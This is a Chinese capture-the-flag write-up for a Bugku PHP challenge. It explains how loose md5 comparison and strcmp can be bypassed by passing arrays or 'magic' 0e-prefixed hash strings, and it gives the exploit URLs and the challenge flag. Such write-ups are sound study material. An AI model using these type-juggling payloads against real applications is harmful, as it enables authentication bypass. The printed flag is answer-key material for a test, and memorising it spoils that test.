前女友(SKCTF)
题目链接:
http://123.206.31.85:49162/

访问链接后发现页面并无有用信息,右键查看源代码,发现code.txt
访问,发现是一道代码分析题,源码如下:

<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>

源码分析:
使用get方法传入v1,v2,v3
V1与v2不能相等,但v1与v2的md5值要相等
V3需要和flag相等

综上分析,我们有两个方案
1.满足v1与v2不能相等,v1与v2的md5相等,可以利用md5函数漏洞即md5不能计算数组的md5因此传入v1[]=1,v2[]=2
V3要与flag 进行比较,我们利用strcmp函数漏洞,strcmp函数不能处理数组,因此构造的payload为:
http://123.206.31.85:49162/?v1[]=1&v2[]=3&v3[]=4
成功获取flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}
bugku前女友(SKCTF)

2.满足v1与v2不能相等,v1与v2的md5相等,可以利用md5函数的漏洞,PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
常用的有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
构造payload:

http://123.206.31.85:49162/?v1=QNKCDZO&v2=s878926199a&v3[]=4

获得flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}
提交SKCTF{Php_1s_tH3_B3St_L4NgUag3}

相关文章:

  • 2021-07-26
  • 2021-11-16
  • 2022-01-19
  • 2021-05-30
  • 2021-12-28
  • 2022-12-23
  • 2021-08-20
  • 2022-12-23
猜你喜欢
  • 2021-11-29
  • 2022-12-23
  • 2021-06-17
  • 2021-05-18
  • 2021-10-10
  • 2021-04-15
  • 2021-05-04
相关资源
相似解决方案